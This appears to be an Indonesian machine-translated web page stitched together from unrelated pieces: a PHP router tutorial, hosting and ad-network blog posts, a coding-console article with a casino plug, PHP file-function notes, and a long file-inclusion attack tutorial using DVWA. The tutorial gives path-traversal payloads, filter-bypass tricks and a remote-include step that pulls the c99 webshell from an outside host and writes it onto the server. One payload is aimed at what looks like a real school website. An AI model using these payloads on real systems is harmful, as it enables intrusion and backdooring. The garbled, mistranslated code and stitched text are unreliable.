Tampilan fiksi file php. Injeksi file lokal dan jarak jauh: mengeksploitasi kerentanan dan melewati filter. Lewati pemfilteran saat menyertakan file secara lokal

Dari polanya, saya puas dengan mvc, registry. Untuk permintaan, saya menulis lapisan abstraksi kecil, untuk perutean - fungsi penguraian permintaan saya sendiri.
Struktur aplikasi web akan seperti ini

folder aplikasi

File masukan index.php menyertakan bootstrap.php. Itu, pada gilirannya, menghubungkan kernel, file konfigurasi, beberapa perpustakaan dan memulai router.

Gunakan Inti\Rute; require_once "lib/registry.php"; require_once "config.php"; require_once "lib/datebase.php"; require_once "inti/model.php"; require_once "core/view.php"; require_once "inti/controller.php"; require_once "inti/route.php"; $router = Rute baru(); $router->mulai(); //mulai routernya

Registrinya sederhana:

Lib Ruang Nama; kelas Lib_Registry ( static private $data = array(); static public function set($key, $value) ( ​​​​self::$data[$key] = $value; ) fungsi publik statis get($key) ( return isset( self::$data[$key]) ? self::$data[$key] : null ) fungsi publik statis hapus($key) ( if (isset(self::$data[$key])) ( tidak disetel (diri::$data[$kunci]);

Berikut adalah getter dan setter untuk menyimpan nilai global.

Gunakan Lib\Lib_Registry;

mendefinisikan("PATH_SITE", $_SERVER["DOCUMENT_ROOT"]); mendefinisikan("HOST", "localhost"); mendefinisikan("PENGGUNA", "root");

mendefinisikan("PASSWORD", "password saya");

Karena kami berencana membuat panel admin di masa mendatang, kami akan membuat folder klien dan admin. Omong-omong, router kami akan memperhitungkan subfolder, mis. dimungkinkan untuk membuat subfolder di pengontrol (mis. /about/contacts/contacts.php) dan mengaksesnya di sepanjang jalurnya /about/contacts/
Jadi kami memulai router

/** * */ fungsi publik start() ( // menangkap permintaan AJAX if ($this->getIsAjaxRequest()) ( ) session_start(); $this->dispatch(); ) /** * */ fungsi publik pengiriman())( // petugas operator menerima file yang cocok dengan nama pengontrol, tindakan, dan argumen $this->getDirections($file, $controller, $action, $args); /* ******* ***** * sertakan Pengontrol - Model */ if (dapat dibaca($file) == false) ( die ("File $file 404 Tidak Ditemukan"); ) // sertakan pengontrol sertakan ($file $model = str_replace("controller" , "model", $file); // Model tambahan if(is_readable($model))( // menghubungkan model include($model); ) /* ****** dapatkan kelasnya ** */ $controller = ucfirst($controller); $class = ucfirst($this->namespace).."\Controller_" . // membuat instance $controller = new $class($this->controller_path_folder ); if (is_callable(array( $controller, $action)) == false) ( die ("Action $action 404 Not Found"); ) // memanggil tindakan $controller->$action($args)

Petugas operator memanggil metode getDirections(), mis. dapatkan arahan permintaan. Secara default, pengontrol default adalah artikel, tindakannya adalah indeks.

/** * @param $file * @param $controller * @param $action * @param $args */ fungsi pribadi getDirections(&$file, &$controller, &$action, &$args) ( $route = ( kosong($_SERVER["REQUEST_URI"])) ? "" : $_SERVER["REQUEST_URI"]; tidak disetel($_SERVER["REQUEST_URI"]); $route = trim($route, "/\\"); = $ini->jalur; if (kosong($rute)) ( /* ******************* Petunjuk arah default ******** */ $ pengontrol = "artikel"; $aksi = "indeks_aksi"; $controller_path = $ini->controller_path_folder = "aplikasi/pengontrol/$ini->namespace/"; else ( $parts = meledak("/", $route); /* ************** namespace ********** */ if($parts = = "admin") ( $this->namespace = "admin"; array_shift($parts); ) /* ***************** folder & subfolder ***** * * */ $fullpath = $this->controller_path_folder = $controller_path . $this->namespace; foreach ($bagian sebagai $part) ( $fullpath .= DS . $part; if (is_dir($fullpath)) ( array_shift ( $bagian);

melanjutkan; ) if (is_file($fullpath . ".php")) ( array_shift($parts); $file = "$fullpath.php"; break; ) ) /* ************* ** Pengontrol, Tindakan, Param ******** */ if(!isset($part)) $part = "artikel";

$pengontrol = $bagian;

if(!$file) $file = $fullpath."/$part.php";
$tindakan = array_shift($bagian);

if(!$aksi) $aksi = "indeks_aksi";

lain $aksi = "aksi_$aksi";

$args = $bagian;

Sebagian besar pengguna situs web menggunakan Linux atau Windows. Ini ada hubungannya dengan waktu aktif. Kedua platform memastikan bahwa situs web Anda selalu aktif 99%.

1.Kustomisasi

Salah satu perbedaan utama antara paket Hosting Pengecer Linux dan yang satu disediakan oleh Windows adalah tentang penyesuaian. Meskipun Anda dapat bereksperimen dengan kedua pemain tersebut dalam beberapa cara, Linux jauh lebih dapat dikustomisasi daripada Windows. Yang terakhir ini memiliki fitur yang lebih banyak daripada rekannya dan itulah sebabnya banyak pengembang dan administrator menganggap Linux sangat ramah pelanggan.

2. Aplikasi

Layanan hosting reseller yang berbeda memiliki aplikasi yang berbeda pula. Linux dan Windows sama-sama memiliki rangkaian aplikasinya masing-masing, namun Windows memiliki keunggulan dalam hal jumlah dan keserbagunaan. Ini ada hubungannya dengan sifat open source Linux. Pengembang mana pun dapat mengunggah aplikasinya di platform Linux dan ini menjadikannya penyedia hosting yang menarik bagi jutaan pemilik situs web.

Namun, perlu diingat bahwa jika Anda menggunakan Linux untuk hosting web tetapi pada saat yang sama menggunakan OS Windows, beberapa aplikasi mungkin tidak berfungsi.

3.Stabilitas

Meskipun kedua platform tersebut stabil, Linux Reseller Hosting lebih stabil dari keduanya. Ini adalah platform sumber terbuka, yang dapat bekerja di beberapa lingkungan. Platform ini dapat dimodifikasi dan dikembangkan sesekali.

4. Kompatibilitas .NET

Bukan berarti Linux lebih unggul dari Windows dalam segala hal. Dalam hal kompatibilitas .NET, Windows mencuri perhatian. Aplikasi web dapat dengan mudah dikembangkan pada platform hosting Windows.

5. Keuntungan biaya

Kedua platform hosting tersebut terjangkau. Namun jika Anda merasa kekurangan uang, Anda sebaiknya memilih Linux. Ini gratis dan itulah sebabnya banyak pengembang memilihnya dan sistem administrator di seluruh dunia.

6. Kemudahan pengaturan

Windows lebih mudah diatur dibandingkan versi Windows lainnya. Semua hal dikatakan dan dilakukan, Windows masih mempertahankan keramahan penggunanya selama bertahun-tahun.

7.Keamanan

Pilihlah hosting reseller Linux karena lebih aman dibandingkan Windows. Hal ini berlaku terutama bagi orang-orang yang menjalankan bisnis E-commerce mereka.

Kesimpulan

Memilih di antara keduanyaakan tergantung pada kebutuhan Anda dan fleksibilitas biaya. Kedua layanan hosting tersebut memiliki keunggulan unik. Meskipun Windows mudah diatur, Linux hemat biaya, aman, dan lebih serbaguna.



Pada bulan Maret tahun ini, saya mempunyai pengalaman yang sangat buruk dengan perusahaan media yang menolak membayar saya dan menjawab email saya. Mereka masih berhutang ribuan dolar kepada saya dan perasaan marah yang saya rasakan setiap hari. Ternyata saya tidak sendirian, dan ratusan pemilik situs web lainnya juga mengalami hal yang sama. Ini setara dengan kursus periklanan digital.

Sejujurnya, saya sudah memiliki blog ini sejak lama dan saya telah berpindah-pindah jaringan iklan yang berbeda di masa lalu. Setelah menghapus unit iklan dari perusahaan yang membuat saya kaku, saya kembali ke titik awal. Saya juga harus mencatat bahwa Saya tidak pernah begitu menyukai produk Google AdSense, hanya karena produk tersebut terasa seperti “dasar” iklan bergambar, bukan dari sudut pandang kualitas, namun dari sudut pandang pendapatan.

Dari apa yang saya pahami, Anda ingin Google beriklan di situs Anda, tetapi Anda juga ingin perusahaan dan agensi besar lainnya juga melakukannya. Dengan begitu Anda memaksimalkan permintaan dan pendapatan.

Setelah pengalaman negatif saya, saya merekomendasikan sebuah perusahaan bernama Newor Media. Dan sejujurnya saya tidak menjualnya pada awalnya terutama karena saya tidak dapat menemukan banyak informasi tentangnya. Saya menemukan beberapa ulasan yang layak di situs lain, dan setelah berbicara dengan seseorang di sana, saya memutuskan untuk mencobanya. Saya akan mengatakan bahwa mereka SANGAT membantu. Setiap jaringan yang pernah saya gunakan cukup singkat dalam hal jawaban dan permulaan.

Saya telah menjalankan iklan tersebut selama beberapa bulan dan penghasilannya hampir sama dengan apa yang saya peroleh dengan perusahaan lain. Jadi saya tidak dapat mengatakan apakah iklan tersebut jauh lebih baik daripada yang lain, tetapi di mana iklan tersebut menonjol? adalah poin yang benar-benar ingin saya sampaikan. Komunikasi dengan mereka tidak seperti jaringan lain yang pernah saya gunakan. Berikut adalah kasus di mana mereka benar-benar berbeda:

Mereka memberikan pembayaran pertama kepada saya tepat waktu dengan Paypal. Namun karena saya tidak berada di AS (dan menurut saya ini terjadi pada semua orang), saya mendapat biaya yang diambil dari Paypal. Saya mengirim email kepada perwakilan saya tentang hal itu, menanyakan apakah ada cara untuk menghindari hal itu di masa mendatang.

Mereka mengatakan bahwa mereka tidak dapat menghindari biaya tersebut, tetapi mereka akan MENGEMBALIKAN SEMUA BIAYA.... TERMASUK PEMBAYARAN TERBARU! Tidak hanya itu, pembayaran penggantian telah diterima dalam waktu 10 MENIT! Kapan Anda bisa mengajukan permintaan seperti itu tanpa harus diteruskan ke "departemen keuangan" untuk kemudian tidak pernah ditanggapi.

Intinya adalah saya menyukai perusahaan ini. Saya mungkin bisa menghasilkan lebih banyak di tempat lain, saya tidak begitu yakin, tapi mereka memiliki penerbit seumur hidup bersama saya. Saya bukan situs besar dan saya tidak menghasilkan banyak pendapatan, tapi saya merasa seperti seorang klien yang sangat penting ketika saya berbicara dengan mereka. Sejujurnya ini adalah angin segar dalam industri yang penuh dengan penipuan dan ketidaktanggapan.

Mikrokomputer yang diciptakan oleh Raspberry Pi Foundation pada tahun 2012 telah sangat sukses dalam memicu tingkat kreativitas pada anak-anak muda dan perusahaan yang berbasis di Inggris ini mulai menawarkan program startup belajar kode seperti pi-top dan Kano. Kini ada startup baru yang memanfaatkan perangkat elektronik Pi, dan perangkat tersebut dikenal dengan nama Pip, konsol genggam yang menawarkan layar sentuh, banyak port, tombol kontrol, dan speaker. Ide dibalik perangkat ini adalah untuk melibatkan generasi muda dengan perangkat game retro namun juga menawarkan pengalaman pembelajaran kode melalui platform berbasis web.

Platform perangkat lunak luar biasa yang ditawarkan dengan Pip akan menawarkan kesempatan untuk memulai pengkodean dengan Python, HTML/CSS, JavaScript, Lua dan PHP. Perangkat ini menawarkan tutorial langkah demi langkah untuk membantu anak-anak memulai coding dan bahkan memungkinkan mereka membuat LED berkedip. Meskipun Pip masih berupa prototipe, Pip pasti akan menjadi sukses besar di industri ini dan akan melibatkan anak-anak yang memiliki minat dalam coding dan akan memberi mereka pendidikan dan sumber daya yang diperlukan untuk memulai coding pada usia muda.

Masa Depan Pengkodean

Pengkodean memiliki masa depan yang cerah, dan bahkan jika anak-anak tidak menggunakan pengkodean sebagai karier, mereka dapat memperoleh manfaat dari mempelajari cara membuat kode dengan perangkat baru ini yang menjadikannya lebih mudah dari sebelumnya. Dengan Pip, bahkan penggemar coding termuda pun akan belajar berbagai bahasa dan siap membuat kode sendiri, memiliki game, memiliki aplikasi, dan banyak lagi. Ini adalah masa depan era elektronik dan Pip memungkinkan Anda menguasai dasar-dasar pengkodean.
Ilmu komputer telah menjadi bagian penting dalam pendidikan dan dengan perangkat seperti Pip baru, anak-anak dapat mulai meningkatkan pendidikan mereka di rumah sambil bersenang-senang. Pengkodean lebih dari sekadar membuat situs web atau perangkat lunak. Ini dapat digunakan untuk meningkatkan keselamatan di kota, membantu penelitian di bidang medis, dan banyak lagi. Karena kita sekarang hidup di dunia yang didominasi oleh perangkat lunak, coding adalah masa depan dan penting bagi semua anak untuk setidaknya memiliki pemahaman dasar tentang cara kerjanya, meskipun mereka tidak pernah memanfaatkan keterampilan ini sebagai karier. Di masa depan, coding akan menjadi komponen penting dalam kehidupan sehari-hari. Ini adalah bahasa dunia dan ketidaktahuan tentang komputer atau cara kerjanya dapat menimbulkan tantangan yang sama sulitnya untuk diatasi seperti halnya buta huruf.
Pengkodean juga akan memberikan perubahan besar dalam dunia game, terutama dalam hal game online, termasuk akses kasino online. Untuk melihat bagaimana coding telah meningkatkan dunia game, lihatlah beberapa situs kasino berperingkat teratas yang mengandalkan coding. Intip sekilas untuk memeriksanya dan lihat bagaimana pengkodean dapat menghadirkan lingkungan online yang realistis.

Bagaimana Pip Melibatkan Anak-Anak

Ketika berbicara tentang kesempatan belajar coding, anak-anak mempunyai banyak pilihan. Ada sejumlah perangkat dan perangkat keras yang dapat dibeli, tetapi Pip mengambil pendekatan berbeda dengan perangkatnya. Portabilitas perangkat dan layar sentuh menawarkan keunggulan dibandingkan perangkat pengkodean lain yang ada di pasaran. Pip akan sepenuhnya kompatibel dengan komponen elektronik selain sistem Raspberry Pi HAT. Perangkat ini menggunakan bahasa standar dan memiliki alat dasar serta merupakan perangkat yang sempurna untuk pembuat kode pemula mana pun. Tujuannya adalah untuk menghilangkan hambatan apa pun antara ide dan kreasi serta membuat alat segera tersedia untuk digunakan. Salah satu kelebihan Pip lainnya adalah ia menggunakan kartu SD, sehingga dapat digunakan sebagai komputer desktop juga jika dihubungkan ke monitor dan mouse.
Perangkat Pip akan membantu anak-anak dan pemula pembuat kode yang tertarik dengan antusiasme dalam belajar dan berlatih coding. Dengan menawarkan kombinasi penyelesaian tugas dan upaya memecahkan masalah, perangkat ini tentu akan melibatkan generasi muda. Perangkat ini kemudian memungkinkan para pembuat kode muda ini untuk beralih ke tingkat pengkodean yang lebih tinggi dalam berbagai bahasa seperti JavaScript dan HTML/CSS. Karena perangkat ini meniru konsol game, perangkat ini akan segera menarik perhatian anak-anak dan akan mengajak mereka belajar tentang coding di usia muda. Itu juga dilengkapi dengan beberapa game yang dimuat sebelumnya untuk mempertahankan perhatian, seperti Pac-Man dan Minecraft.

Inovasi yang Akan Datang

Inovasi di masa depan sangat bergantung pada kemampuan anak saat ini dalam membuat kode dan pemahaman mereka secara keseluruhan terhadap proses tersebut. Saat anak-anak belajar coding sejak usia dini dengan menggunakan perangkat seperti Pip baru, mereka akan memperoleh keterampilan dan pengetahuan untuk menciptakan hal-hal menakjubkan di masa depan. Hal ini bisa berupa pengenalan permainan atau aplikasi baru, atau bahkan ide yang dapat diwujudkan untuk membantu penelitian dan perawatan medis. Ada kemungkinan yang tidak terbatas. Karena masa depan kita akan dikendalikan oleh perangkat lunak dan komputer, memulai dari usia muda adalah cara terbaik, itulah sebabnya Pip baru ditujukan untuk generasi muda. Dengan menawarkan perangkat konsol yang dapat bermain game sambil mengajarkan keterampilan coding, anggota masyarakat muda sedang dalam perjalanan untuk menjadi pencipta perangkat lunak di masa depan yang akan mengubah seluruh hidup kita. Ini hanyalah permulaan, namun ini adalah sesuatu yang mulai dipelajari dan dikuasai oleh jutaan anak di seluruh dunia. Dengan penggunaan perangkat seperti Pip, dasar-dasar pengkodean akan tercakup dan anak-anak akan dengan cepat mempelajari berbagai bahasa pengkodean yang dapat menuntun mereka ke jalur yang menakjubkan saat mereka memasuki masa dewasa.

PHP

file_exists("test.txt")//Apakah filenya ada? filesize("test.txt");//Cari tahu ukuran file //Stempel waktu dikembalikan: fileatime("test.txt");//Tanggal akses terakhir ke file //tanggal("d M Y" , $waktu); filemtime("test.txt");//Tanggal modifikasi file //date("d M Y", $mtime); filectime("test.txt");//Tanggal pembuatan file (Windows) //date("d M Y", $ctime);

File: mode operasi

PHP

resource fopen (nama file string, mode string) // resource - mengembalikan pointer ke file jika berhasil, atau FALSE jika terjadi kesalahan
Modus operasi Keterangan
R buka file hanya-baca;
r+ buka file untuk membaca dan menulis;
w buka file untuk menulis saja. Jika ada, maka konten file saat ini akan dimusnahkan. Posisi saat ini disetel ke awal;
w+ buka file untuk membaca dan menulis. Jika ada, maka konten file saat ini akan dimusnahkan. Posisi saat ini disetel ke awal;
A buka file untuk menulis. Posisi saat ini diatur ke akhir file;
sebuah+ buka file untuk membaca dan menulis. Posisi saat ini diatur ke akhir file;
B memproses file biner. Tanda ini diperlukan saat bekerja dengan file biner di Windows.

Membuka dan menutup file di PHP

PHP

$fi = fopen("test.html", "w+") atau die("Error"); //Contoh $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Tutup fclose($fi)

Membaca file dalam PHP

PHP

//Baca file fread(int fi, int panjang) $str = fread($fi, 5); // Membaca 5 karakter pertama echo $str;

// sejak kursor berpindah $str = fread($fi, 12); // Membaca 12 karakter berikutnya echo $str; fgets(int fi[, int length]) // Membaca baris dari file fgetss(int fi, int length [, string diperbolehkan]) // Membaca baris dari file dan membuang tag HTML // string diperbolehkan - tag yang harus di kiri fgetc(int fi) //Membaca karakter dari sebuah file Awalnya, Write akan terjadi di awal file, dengan menimpa data yang sudah ada, jika ada. Oleh karena itu, jika Anda perlu menulis sesuatu di akhir file, Anda perlu mengatur yang sesuai modus membaca

, misalnya, a+ .

PHP

Manipulasi kursor pada file PHP

int fseek(int fi, int offset [, int dari mana]) //Mengatur kursor // int fi - penunjuk ke file //offset - jumlah karakter yang akan dipindahkan. //whence: //SEEK_SET - pergerakan dimulai dari awal file; //SEEK_CUR - pergerakan dimulai dari posisi saat ini; //SEEK_END - pergerakan dimulai dari akhir file. fseek($fi, -10, SEEK_END); //Baca 10 karakter terakhir $s = fread($fi, 10); $pos = kirim($fi); //Cari tahu posisi saat ini rewind($f)//reset kursor bool feof($f) //akhir file

PHP

file array(string nama file) // Mendapatkan konten file dalam bentuk array // Pilihan lain untuk langsung bekerja dengan data file_get_contents(string nama file) // Membaca (mendapatkan seluruh file dalam satu baris) // Menulis ke file (awalnya ditimpa) file_put_contents(string nama file, data campuran[,int flag]); //FILE_APPEND // Tulis di akhir file: file_put_contents("test.txt", "data", FILE_APPEND); //Jika Anda menulis sebuah array, $array = array("I", "live"); file_put_contents("test.txt",$array); //lalu kita mendapatkan "Ilive"

Mengelola file di php

PHP

copy(sumber string, tujuan string); // Menyalin file rename(str nama lama, str nama baru); // Ganti nama file batalkan tautan (string nama file); // Menghapus file

Mengunggah file ke server PHP

//Pengaturan PHP.ini file_uploads (on|off) // mengizinkan atau melarang pengunggahan file upload_tmp_dir // folder sementara untuk file yang diunggah. secara default folder sementara upload_max_filesize (default = 2 Mb) // maks. upload ukuran file post_max_size // ukuran total formulir yang dikirimkan (harus lebih besar dari upload_max_filesize) // Upload sederhana

HTML

Bekerja dengan file di server

PHP

//Terima data $tmp = $_FILES["userfile"]["tmp_name"]; $nama = $_FILES["file pengguna"]["nama"]; //Pindahkan file move_uploaded_file($tmp, nama); move_uploaded_file($tmp, "unggah/".nama); // mengarahkan file ke folder unggah // relatif terhadap file saat ini // Apa yang ada di array $_FILES $_FILES["userfile"]["name"] // nama file, misalnya test.html $_FILES[ "userfile"][" tmp_name"] // nama file sementara (jalur) $_FILES["userfile"]["size"] // ukuran file $_FILES["userfile"]["type"] // jenis file $ _FILES["userfile"] ["error"] // 0 - tidak ada kesalahan, nomor - ya

Terkadang injeksi file disebut inklusi, terkadang dianggap sebagai bagian dari injeksi PHP (injeksi kode). Yang terakhir ini tidak sepenuhnya benar, karena kerentanan injeksi file belum tentu terkait dengan eksekusi kode.

Kerentanan dapat terjadi ketika menggunakan ekspresi (dalam PHP) seperti:

  • memerlukan_sekali,
  • sertakan_sekali,
  • termasuk,
  • memerlukan

Masing-masing memiliki perbedaan kecil, tetapi kesamaannya adalah mereka menyertakan file dalam program dan menjalankannya. Ekspresi ini dapat menimbulkan masalah jika meneruskan masukan pengguna dan program tidak cukup memfilternya.

Ngomong-ngomong, ya, ini adalah ekspresi, bukan fungsi. Tidak perlu menulis seperti ini:

Membutuhkan("somefile.php");

Pilihan yang lebih disukai adalah:

Membutuhkan "somefile.php";

Tapi ini adalah kemunduran yang tidak ada hubungannya dengan kerentanan.

Jika file disertakan menggunakan ekspresi require_once, include_once, include, require, maka kita dapat mengatakan bahwa injeksi kode juga terjadi pada waktu yang sama. Namun, dimungkinkan untuk memasukkan file tanpa menjalankan kode di server. Misalnya websitenya berubah penampilan berdasarkan topik yang dipilih pengguna. Nama tema sesuai dengan nama file HTML yang dibaca di server. Dalam situasi ini, jika permintaan dibuat sedemikian rupa untuk membaca file yang tidak dimaksudkan untuk ini (misalnya, file PHP), maka alih-alih menjalankan perintah, itu akan ditampilkan kode sumber PHP.

Pengguna dapat menentukan file jarak jauh atau lokal sebagai file penyertaan. Berdasarkan ini, dua varietas yang sesuai dibedakan:

  • injeksi file lokal
  • injeksi file jarak jauh

Bahaya penyertaan jarak jauh adalah eksekusi kode arbitrer pada server yang rentan. Ini biasanya digunakan untuk infeksi pintu belakang.

Bahaya injeksi file lokal adalah pengguna dapat menampilkan konten file yang bukan haknya untuk melihatnya (kode sumber program, file sistem dengan pengaturan dan kata sandi). Selain itu, dengan penyertaan lokal, dimungkinkan untuk mengeksekusi kode pihak ketiga (misalnya, untuk infeksi pintu belakang), jika file dengan kode berbahaya sebelumnya diunggah ke server, atau metode keracunan log digunakan, atau beberapa metode lainnya.

Penyertaan file secara lokal tidak kalah berbahayanya dengan penyertaan file jarak jauh.

Memanfaatkan Penyematan File Lokal

Anda dapat mencoba kerentanan ini di Damn Vulnerable Web Application (DVWA). Saya menggunakan Web Security Dojo, yang sudah terinstal DVWA.

Mari kita mulai dari level rendah ( rendah Keamanan DVWA).

Mari kita pergi ke halaman Inklusi File http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Jika nilai yang mirip dengan nama file (file1.php, file2.php) dilewatkan sebagai argumen ke variabel, maka kita dapat berasumsi bahwa include sedang digunakan. Karena filenya berekstensi .php, maka kemungkinan besar file tersebut dieksekusi di server (yaitu, injeksi kode dimungkinkan), dan tidak hanya ditampilkan untuk ditampilkan.

DVWA memiliki halaman http://localhost/dvwa/about.php, letaknya dua tingkat di atas, mari kita coba melihatnya seperti ini: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ tentang.php

Ya, memang ada kerentanan inklusi lokal. Saat masuk, transisi ke direktori atas tidak difilter ( ../ ), daftar file yang akan disertakan tidak lengkap (daripada file*.php yang disarankan, kami memilih about.php).

Terkadang file yang disertakan digunakan, tetapi alamatnya mungkin terlihat, misalnya, seperti ini: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Dalam hal ini, ekstensi dapat ditambahkan ke skrip dan skrip menyematkan file yang namanya akhirnya terbentuk di skrip. Biasanya, kerentanan dalam bentuk ini sulit/tidak mungkin untuk dieksploitasi.

Seringkali, sebagai contoh eksploitasi penyertaan file lokal, mereka suka memberikan sesuatu seperti ini:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Seperti yang kita lihat, itu berhasil. Namun karena browser web mengabaikan /r/n (karakter baris baru), lalu kita perlu membuka kode sumber agar entri dapat dibaca:

Sayangnya, sudah lama tidak ada kata sandi di file /etc/passwd.

Dari server Anda dapat menarik berbagai file pengaturan, sertifikat SSL, pada prinsipnya, file apa pun yang terbuka untuk dibaca oleh semua pengguna atau yang server web memiliki hak yang cukup untuk membacanya:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Sedangkan untuk shared hosting, terkadang Anda dapat melihat folder orang lain (sekali lagi, kapan pengaturan yang salah hak pengguna).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Tugas ini diperumit oleh kenyataan bahwa kita perlu mengetahui jalur ke file tersebut.

Pengoperasian injeksi file jarak jauh

PHP adalah bahasa pemrograman yang sangat fleksibel dan ramah pengembang. Perintah penyematan file dan beberapa lainnya dengan sempurna mengenali dan memproses dengan benar tidak hanya file lokal, tetapi juga URL...

Mari kita coba menulis URL situs https://site/ alih-alih nama file:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Lihat betapa menariknya hasilnya:

Hal berikut terjadi: juru bahasa PHP menerima perintah untuk memasukkan file/situs https://site/. Dia membuka/mengunduh alamat yang sesuai dan mengirimkan kode yang dihasilkan untuk dieksekusi sebagai program PHP. Karena PHP hanya mengeksekusi kode yang dikelilingi oleh tag yang sesuai (dalam hal ini tidak ada kode sama sekali) dan menampilkan semuanya apa adanya, seluruh halaman situs web ditampilkan apa adanya.

Tentu saja kerentanan ini menarik bagi kami bukan karena kami dapat melihat situs lain melalui satu situs.

  1. Menghasilkan/menemukan kode sumber pintu belakang
  2. Kami membuat yang benar dari sudut pandang berkas PHP untuk dieksekusi di server yang menyimpan kode sumber pintu belakang dalam file PHP
  3. Simpan kode yang diterima ke file TEXT
  4. Unggah file teks ini ke server yang dikontrol
  5. Kami menyimpan pintu belakang kami di server yang rentan menggunakan penyertaan file jarak jauh

Saya menyorot kata "teks" dengan alasan bahwa di server yang kami kendalikan harus ada file teks yang tidak boleh dijalankan di server kami. Server kami hanya perlu menampilkan isinya.

Untuk membuat pintu belakang, Anda dapat menggunakan Weevely, PhpSploit, atau Anda dapat mengambil solusi yang sudah jadi. Mari kita gunakan yang sudah jadi kali ini.

Saya akan menetapkan variabel $backdoor sebagai kode sumber pintu belakang, yang saya unduh dari Github. Kemudian saya menggunakan fungsi file_put_contents untuk menyimpan kode sumber yang dihasilkan ke dalam file c99unlimited.php.

Kode yang saya posting berkas teks

$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$pintu belakang"); gema "selesai!";

Ini tersedia di http://miloserdov.org/sec.txt

Sekarang, dengan menggunakan penyertaan jarak jauh, kami mengunggah pintu belakang ke server yang rentan.

http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

Perhatikan tulisan selesai!, itu ditampilkan oleh skrip, mis. semuanya mungkin berhasil.

Karena skrip yang menyertakan file terletak di direktori http://localhost/dvwa/vulnerabilities/fi/, dan file baru kita dengan pintu belakang seharusnya disimpan dengan nama c99unlimited.php, alamat lengkap pintu belakang di server yang rentan seharusnya: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

Kami memeriksa:

Hebat, sekarang kami memiliki semua fitur yang diperlukan oleh administrator server web... dan mereka yang memiliki akses ke server mereka.

Lewati pemfilteran saat menyertakan file secara lokal

Mari kita beralih ke tingkat menengah ( sedang) keamanan (dapat dikonfigurasi di Keamanan DVWA).

Jika kita melihat kode sumbernya (button Lihat Sumber):

maka kita akan melihatnya sekarang simbol-simbolnya ../ disaring. Ini akan mencegah kita berpindah ke direktori yang lebih tinggi dari direktori tempat skrip rentan dijalankan.

Itu. tidak ada yang akan berhasil seperti ini:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

Mari kita pikirkan cara kerja pemfilteran dalam kasus ini? Misalkan kata “buruk” difilter, lalu muncul garis seperti itu

baik buruk baik

setelah difilter akan terlihat seperti ini:

bagus bagus

Dan jika Anda menyisipkan baris seperti ini

buruk buruk xo

kemudian setelah disaring (“yang “buruk” akan dihilangkan) ternyata

Dengan buruk

DI DALAM ../ kita tempel lagi ditengahnya ../ , ternyata …/./

Mari kita coba alamat ini http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

Itu berhasil!

Solusi lain adalah dengan mengkodekan karakter ke dalam pengkodean heksadesimal, contoh dari baris ini:

http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

"../" dapat diganti dengan "%2E%2E%2f".

Pengkodean hex ganda juga dilakukan, di mana “../” diganti dengan “%252E%252E%252F”

Penyertaan file lokal saat menambahkan ekstensi dalam skrip

Jika kode termasuk file terlihat seperti:

Itu. Jika .php atau ekstensi lain ditambahkan ke masukan pengguna apa pun, hal ini tidak memungkinkan permintaan dibuat sedemikian rupa untuk melakukan serangan.

Ada beberapa teknik yang dirancang untuk membuang ekstensi, tetapi teknik tersebut dapat dianggap usang karena berfungsi pada PHP 5.3, dan itupun tidak pada semua versi. Namun, administrator server web secara klinis konservatif dan memilih untuk tidak menyentuh apa pun jika berhasil. Itu. kesempatan untuk bertemu server dengan sangat kuno versi PHP ada, dan Anda harus tahu tentang teknik ini.

Menggunakan byte nol %00 (byte nol)

Sebuah byte nol ditambahkan pada akhir permintaan untuk mengabaikan ekstensi:

http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

Metode kedua disebut serangan pemangkasan jalur. Intinya adalah PHP memotong jalur yang lebih panjang dari 4096 byte. Dalam hal ini, PHP membuka file dengan benar, meskipun ada garis miring dan titik di akhir namanya. Jika Anda meneruskan sesuatu seperti?param1=../../../../etc/passwd/./././././ sebagai parameter<…>(di mana ./ diulang ribuan kali), lalu akhir file beserta ekstensinya (yang ditambahkan skrip, sehingga nama file menjadi include/../../../.. /etc/passwd/./././././<…>.php) akan dibuang. Dan nama filenya akan menjadi include/../../../../etc/passwd/./././././<…>. Dan karena PHP tidak bingung dengan tanda garis miring dan ./ di akhir file, maka PHP mengabaikannya saja, secara total PHP akan membuka file di sepanjang jalur include/../../../../etc/ kata sandi.

Melewati pemfilteran untuk injeksi file jarak jauh

Seperti yang telah kita lihat di kode sumber, tingkat keamanan menengah juga memfilter http:// dan https://.

Sekarang http://localhost/dvwa/vulnerabilities/fi/?. Kami akan menggunakan teknik yang persis sama untuk melewati pemfilteran dengan penyertaan lokal. Permintaan yang dihasilkan:

http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

Dan perhatikan juga bahwa itu tidak difilter, misalnya ftp, yaitu Opsi ini akan berfungsi tanpa trik apa pun:

http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

Mendapatkan kode sumber skrip PHP saat memasukkan file dari php://filter

Trik ini tidak memerlukan penyertaan file jarak jauh. Beberapa jenis pembungkus meta akan digunakan php://filter.

Katakanlah kita ingin melihat kode sumber file file1.php, maka untuk situasi kita permintaannya akan dibuat seperti ini:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

Perhatikan rangkaian huruf dan angka yang tidak berarti - ini adalah kode sumber file file1.php dalam pengkodean base64. Karena base64, file biner juga didukung.

Mari kita dekode file tersebut:

Eksekusi kode jarak jauh dengan php://input

